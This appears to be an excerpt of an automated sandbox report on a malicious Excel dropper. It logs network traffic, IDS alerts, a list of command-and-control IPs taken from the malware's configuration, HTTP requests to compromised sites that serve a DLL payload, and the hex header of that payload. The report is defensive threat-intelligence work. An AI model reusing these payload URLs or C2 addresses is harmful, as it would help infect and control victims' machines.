Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 163.172.108.69:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 163.172.108.69:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 163.172.108.69:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 163.172.108.69:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 163.172.108.69:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 163.172.108.69:443
Source: global traffic	TCP traffic: 192.168.2.22:49177 -> 163.172.108.69:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 163.172.108.69:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 163.172.108.69:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 163.172.108.69:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 163.172.108.69:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 163.172.108.69:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 163.172.108.69:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 163.172.108.69:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 163.172.108.69:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 163.172.108.69:443
Source: global traffic	TCP traffic: 192.168.2.22:49178 -> 163.172.108.69:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 218.38.121.17:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 218.38.121.17:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 218.38.121.17:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 218.38.121.17:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 218.38.121.17:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 218.38.121.17:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 218.38.121.17:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 218.38.121.17:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 218.38.121.17:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 218.38.121.17:443
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 218.38.121.17:443
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 218.38.121.17:443
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 218.38.121.17:443
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 218.38.121.17:443
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 218.38.121.17:443
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 218.38.121.17:443
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 218.38.121.17:443
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 218.38.121.17:443
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 218.38.121.17:443
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 218.38.121.17:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 163.172.115.127:80
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 163.172.108.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 47.92.133.65:80

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\regsvr32.exe

Network Connect: 218.38.121.17 443

Jump to behavior

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2404328 ET CNC Feodo Tracker Reported CnC Server TCP group 15 192.168.2.22:49180 -> 218.38.121.17:443

Outdated Microsoft Office dropper detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

DNS query: sat7ate.com is down

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	IPs: 218.38.121.17:443
Source: Malware configuration extractor	IPs: 186.250.48.5:443
Source: Malware configuration extractor	IPs: 80.211.107.116:8080
Source: Malware configuration extractor	IPs: 174.138.33.49:7080
Source: Malware configuration extractor	IPs: 165.22.254.236:8080
Source: Malware configuration extractor	IPs: 185.148.169.10:8080
Source: Malware configuration extractor	IPs: 62.171.178.147:8080
Source: Malware configuration extractor	IPs: 128.199.217.206:443
Source: Malware configuration extractor	IPs: 210.57.209.142:8080
Source: Malware configuration extractor	IPs: 36.67.23.59:443
Source: Malware configuration extractor	IPs: 160.16.143.191:8080
Source: Malware configuration extractor	IPs: 128.199.242.164:8080
Source: Malware configuration extractor	IPs: 178.238.225.252:8080
Source: Malware configuration extractor	IPs: 118.98.72.86:443
Source: Malware configuration extractor	IPs: 202.134.4.210:7080
Source: Malware configuration extractor	IPs: 82.98.180.154:7080
Source: Malware configuration extractor	IPs: 54.37.228.122:443
Source: Malware configuration extractor	IPs: 64.227.55.231:8080
Source: Malware configuration extractor	IPs: 195.77.239.39:8080
Source: Malware configuration extractor	IPs: 103.254.12.236:7080
Source: Malware configuration extractor	IPs: 103.85.95.4:8080
Source: Malware configuration extractor	IPs: 178.62.112.199:8080
Source: Malware configuration extractor	IPs: 83.229.80.93:8080
Source: Malware configuration extractor	IPs: 114.79.130.68:443
Source: Malware configuration extractor	IPs: 51.75.33.122:443
Source: Malware configuration extractor	IPs: 139.196.72.155:8080
Source: Malware configuration extractor	IPs: 188.165.79.151:443
Source: Malware configuration extractor	IPs: 190.145.8.4:443
Source: Malware configuration extractor	IPs: 196.44.98.190:8080
Source: Malware configuration extractor	IPs: 198.199.70.22:8080
Source: Malware configuration extractor	IPs: 103.56.149.105:8080
Source: Malware configuration extractor	IPs: 104.244.79.94:443
Source: Malware configuration extractor	IPs: 87.106.97.83:7080
Source: Malware configuration extractor	IPs: 103.71.99.57:8080
Source: Malware configuration extractor	IPs: 46.101.98.60:8080
Source: Malware configuration extractor	IPs: 103.126.216.86:443
Source: Malware configuration extractor	IPs: 103.224.241.74:8080
Source: Malware configuration extractor	IPs: 37.44.244.177:8080
Source: Malware configuration extractor	IPs: 85.214.67.203:8080
Source: Malware configuration extractor	IPs: 202.28.34.99:8080
Source: Malware configuration extractor	IPs: 175.126.176.79:8080
Source: Malware configuration extractor	IPs: 85.25.120.45:8080
Source: Malware configuration extractor	IPs: 93.104.209.107:8080
Source: Malware configuration extractor	IPs: 103.41.204.169:8080
Source: Malware configuration extractor	IPs: 78.47.204.80:443
Source: Malware configuration extractor	IPs: 139.59.80.108:8080

Source: Joe Sandbox View

ASN Name: OVHFR OVHFR

Source: Joe Sandbox View

JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveCookie: YYbWjqBjoLrCcX=SBgr/e6aC1IUNvJELTGXliW8JuD542AergoyMYXNvjxNLDRTdQNm8AuaxOmABbvgfv+8UtrcYH0nm8JVpNZn+3TWEfhRm/dUCR1CZolc/XwWvPSYMtjPL0bLJaxTy+IA9NnB1Bf21+p/nLECZUQKbQ3KotZmlTPMe1nDx9AvFrGbWdBwLhSH+OSwBm0uKoYGqTZIZ3usbgBMW4QV4nRpmrxN3K2+2Yb5BRhEeUfSv5e+Y0wUi7HP20VKUTWvvTmy+2YpSlrLS8NjnvoUHc/35DqIYRXDWKWVd2LKfBks9VLO8aBSd9lbpYy/Ixl+Ba5lMMnTILw8p+KXMtCwpS9WHost: 218.38.121.17
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveCookie: BepnebNbbnhLwN=d2b7sFWgS9DsqV+ktIDEPfDYK+u4VvGDu6RH8sqyC93zoy+j0gBi669p4anprtQEM0FTQaa5CcQDsE2n3Jik1MwelLYMW0cB2ckzSva1GTO9Ozuc6BuVVWHKD0CdjeEPdE+oGqdZWNtAUHV9t6hIutCFWcQnGko8pFlEzh+24tzbK7usfHuWSo1g9glenYgi3haMAIuRx4H0rCms/1aWJHObgPJCMzJMZePW+6QsU2qZksYBpCGLUBB4No5nO9JG4fI9x4h7VheOpHD72h9Li3R3N4z9E+yOI9ADuJ2vMtr3yhVwHost: 218.38.121.17

Source: Joe Sandbox View

IP Address: 188.165.79.151 188.165.79.151

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Tue, 15 Nov 2022 11:43:52 GMTContent-Type: application/x-msdownloadContent-Length: 769024Connection: keep-aliveX-Powered-By: PHP/7.3.0Set-Cookie: 63737b78b11da=1668512632; expires=Tue, 15-Nov-2022 11:44:52 GMT; Max-Age=60; path=/Cache-Control: no-cache, must-revalidatePragma: no-cacheLast-Modified: Tue, 15 Nov 2022 11:43:52 GMTExpires: Tue, 15 Nov 2022 11:43:52 GMTContent-Disposition: attachment; filename="40hd04O0.dll"Content-Transfer-Encoding: binaryData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a8 d9 25 ba ec b8 4b e9 ec b8 4b e9 ec b8 4b e9 9a 25 26 e9 eb b8 4b e9 cb 7e 36 e9 e7 b8 4b e9 cb 7e 26 e9 43 b8 4b e9 9a 25 30 e9 fb b8 4b e9 ec b8 4a e9 f8 ba 4b e9 cb 7e 25 e9 76 b8 4b e9 cb 7e 31 e9 ed b8 4b e9 cb 7e 33 e9 ed b8 4b e9 52 69 63 68 ec b8 4b e9 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 b6 15 64 63 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 08 00 00 5a 05 00 00 5e 06 00 00 00 00 00 60 23 03 00 00 10 00 00 00 00 00 10 00 00 00 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 05 00 02 00 00 00 00 00 00 60 0c 00 00 04 00 00 a8 56 0c 00 02 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 30 f8 0a 00 4f 00 00 00 50 d5 0a 00 dc 00 00 00 00 10 0c 00 b0 00 00 00 00 a0 0b 00 7c 65 00 00 00 00 00 00 00 00 00 00 00 20 0c 00 c4 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 05 00 10 0b 00 00 b0 d4 0a 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d4 59 05 00 00 10 00 00 00 5a 05 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 7f 88 05 00 00 70 05 00 00 8a 05 00 00 5e 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 70 9d 00 00 00 00 0b 00 00 3a 00 00 00 e8 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 7c 65 00 00 00 a0 0b 00 00 66 00 00 00 22 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 b0 00 00 00 00 10 0c 00 00 02 00 00 00 88 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 6c 30 00 00 00 20 0c 00 00 32 00 00 00 8a 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$%KKK%&K~6K

Source: unknown	HTTPS traffic detected: 218.38.121.17:443 -> 192.168.2.22:49180 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 218.38.121.17:443 -> 192.168.2.22:49181 version: TLS 1.0

Source: global traffic	HTTP traffic detected: GET /Adapter/moycMR/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.spinbalence.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /index.php?controller=404 HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.spinbalence.comConnection: Keep-AliveCookie: PrestaShop-7318ab2db5e4a3c3a59fb8879ad22162=Nw04PzmYYXL6IgJsn1ERig61Z7mzgI5cdqQk7Ts1Z5oXp%2FAqcUL0r5BFPvLtErAiRnV0TG5b0npswANceXA1cwrQZJXojk9hvRnyRY37Ivk%3D000075
Source: global traffic	HTTP traffic detected: GET /Content/Afa1PcRuxh/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.3d-stickers.comConnection: Keep-AliveCookie: PrestaShop-a30a9934ef476d11b6cc3c983616e364=9ybostxWPod7nP43PifVMefImKxeSKaZAdXmfdItKWNI2Ckr%2B1t%2BqGSwMBMouqmkFK0SD2XdZ7Cg5qtQQ9RwtmJfdpSnAaKPknzS3gL2v8c%3D000079
Source: global traffic	HTTP traffic detected: GET /page-non-trouvee HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.3d-stickers.comConnection: Keep-AliveCookie: PrestaShop-a30a9934ef476d11b6cc3c983616e364=9ybostxWPod7nP43PifVMefImKxeSKaZAdXmfdItKWNolWp%2F7SQd8f90S8O%2FCwGohxkvf3iPluWhTbyznpM1hqQ6wpX78PX55d2aotWs5IA%3D000075
Source: global traffic	HTTP traffic detected: GET /Adapter/moycMR/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.spinbalence.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Content/Afa1PcRuxh/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.3d-stickers.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bsavxiv/axHQYKl/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: navylin.comConnection: Keep-Alive

Source: unknown

Network traffic detected: IP country count 21

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49178
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49177
Source: unknown	Network traffic detected: HTTP traffic on port 49180 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49181 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49175
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49174
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49181
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49180
Source: unknown	Network traffic detected: HTTP traffic on port 49175 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49174 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49177 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49178 -> 443

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 15 Nov 2022 11:43:49 GMTServer: Apache/2.4.46 (FreeBSD) OpenSSL/1.0.2u-freebsdStrict-Transport-Security: max-age=63072000; includeSubDomainsX-Frame-Options: SAMEORIGINX-UA-Compatible: IE=edge,chrome=1P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"Powered-By: PrestaShopStatus: 404 Not FoundSet-Cookie: PrestaShop-7318ab2db5e4a3c3a59fb8879ad22162=Nw04PzmYYXL6IgJsn1ERig61Z7mzgI5cdqQk7Ts1Z5oXp%2FAqcUL0r5BFPvLtErAilMIA%2BG6u6fOffdeloSSLftgvfHedjHZsx%2FnHB3u6bs5u%2F94PwbzL8h8iuQj5fU6ouxPvjTOMmxa%2BzRYyONLyaAb0hg9MOCCN3g2h1jkAF3E%3D000114; expires=Mon, 05-Dec-2022 11:43:49 GMT; Max-Age=1727999; path=/; domain=www.spinbalence.com; secure; httponly;HttpOnly;SecureConnection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=utf-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 15 Nov 2022 11:43:51 GMTServer: Apache/2.4.46 (FreeBSD) OpenSSL/1.0.2u-freebsdStrict-Transport-Security: max-age=63072000; includeSubDomainsX-Frame-Options: SAMEORIGINX-UA-Compatible: IE=edge,chrome=1P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"Status: 404 Not FoundSet-Cookie: PrestaShop-a30a9934ef476d11b6cc3c983616e364=9ybostxWPod7nP43PifVMefImKxeSKaZAdXmfdItKWNolWp%2F7SQd8f90S8O%2FCwGo94XM8kzh2wgRtGRJ9nsrSdLdi59jw6GotzqA%2F%2BTveez7WUZj7S8ZwYcZXe6FVfsrOzQXtIeedQAsmUAviISLMDAANABHdlwwYRACr4DLkzU%3D000115; expires=Mon, 05-Dec-2022 11:43:51 GMT; Max-Age=1728000; path=/; domain=www.3d-stickers.com; httponly;HttpOnly;SecureConnection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=utf-8

Source: unknown	TCP traffic detected without corresponding DNS query: 218.38.121.17
Source: unknown	TCP traffic detected without corresponding DNS query: 218.38.121.17
Source: unknown	TCP traffic detected without corresponding DNS query: 218.38.121.17
Source: unknown	TCP traffic detected without corresponding DNS query: 218.38.121.17
Source: unknown	TCP traffic detected without corresponding DNS query: 218.38.121.17
Source: unknown	TCP traffic detected without corresponding DNS query: 218.38.121.17
Source: unknown	TCP traffic detected without corresponding DNS query: 218.38.121.17
Source: unknown	TCP traffic detected without corresponding DNS query: 218.38.121.17
Source: unknown	TCP traffic detected without corresponding DNS query: 218.38.121.17
Source: unknown	TCP traffic detected without corresponding DNS query: 218.38.121.17
Source: unknown	TCP traffic detected without corresponding DNS query: 218.38.121.17
Source: unknown	TCP traffic detected without corresponding DNS query: 218.38.121.17
Source: unknown	TCP traffic detected without corresponding DNS query: 218.38.121.17
Source: unknown	TCP traffic detected without corresponding DNS query: 218.38.121.17
Source: unknown	TCP traffic detected without corresponding DNS query: 218.38.121.17
Source: unknown	TCP traffic detected without corresponding DNS query: 218.38.121.17
Source: unknown	TCP traffic detected without corresponding DNS query: 218.38.121.17
Source: unknown	TCP traffic detected without corresponding DNS query: 218.38.121.17
Source: unknown	TCP traffic detected without corresponding DNS query: 218.38.121.17
Source: unknown	TCP traffic detected without corresponding DNS query: 218.38.121.17

Source: regsvr32.exe, 00000009.00000003.1154926566.0000000000268000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.1155033537.000000000026A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1211759132.000000000026F000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: regsvr32.exe, 00000009.00000002.1211805437.00000000002B9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.1155093375.00000000002B9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.1154926566.0000000000268000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.1155033537.000000000026A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1211759132.000000000026F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1211733355.00000000001BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: regsvr32.exe, 00000009.00000003.1154926566.0000000000268000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.1155033537.000000000026A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1211759132.000000000026F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1211733355.00000000001BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: regsvr32.exe, 00000009.00000003.1154926566.0000000000268000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.1155033537.000000000026A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1211759132.000000000026F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1211733355.00000000001BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: regsvr32.exe, 00000009.00000003.1154926566.0000000000268000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.1155033537.000000000026A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1211759132.000000000026F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1211733355.00000000001BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: regsvr32.exe, 00000009.00000003.1154926566.0000000000268000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.1155033537.000000000026A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1211759132.000000000026F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1211733355.00000000001BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: regsvr32.exe, 00000009.00000003.1154926566.0000000000268000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.1155033537.000000000026A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1211759132.000000000026F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1211733355.00000000001BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: regsvr32.exe, 00000009.00000002.1211805437.00000000002B9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.1155093375.00000000002B9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.1154926566.0000000000268000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.1155033537.000000000026A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1211759132.000000000026F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1212625245.0000000003710000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1211733355.00000000001BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: regsvr32.exe, 00000009.00000003.1154926566.0000000000268000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.1155033537.000000000026A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1211759132.000000000026F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1211733355.00000000001BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: regsvr32.exe, 00000009.00000002.1211805437.00000000002B9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.1155093375.00000000002B9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.1154926566.0000000000268000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.1155033537.000000000026A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1211759132.000000000026F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1211733355.00000000001BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: regsvr32.exe, 00000009.00000003.1154926566.0000000000268000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.1155033537.000000000026A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1211759132.000000000026F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1211733355.00000000001BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: regsvr32.exe, 00000009.00000003.1154926566.0000000000268000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.1155033537.000000000026A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1211759132.000000000026F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1211733355.00000000001BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: regsvr32.exe, 00000009.00000003.1154926566.0000000000268000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.1155033537.000000000026A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1211759132.000000000026F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1211733355.00000000001BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: regsvr32.exe, 00000009.00000003.1154926566.0000000000268000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.1155033537.000000000026A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1211759132.000000000026F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1211733355.00000000001BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: regsvr32.exe, 00000009.00000003.1154926566.0000000000268000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.1155033537.000000000026A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1211759132.000000000026F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1211733355.00000000001BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: regsvr32.exe, 00000009.00000003.1154926566.0000000000268000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.1155033537.000000000026A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1211759132.000000000026F000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000A.00000002.1211733355.00000000001BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: regsvr32.exe, 00000009.00000003.1155166331.0000000000268000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.1154926566.0000000000268000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1211753241.0000000000268000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://218.38.121.17/
Source: regsvr32.exe, 00000009.00000002.1211805437.00000000002B9000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.1155093375.00000000002B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.coh
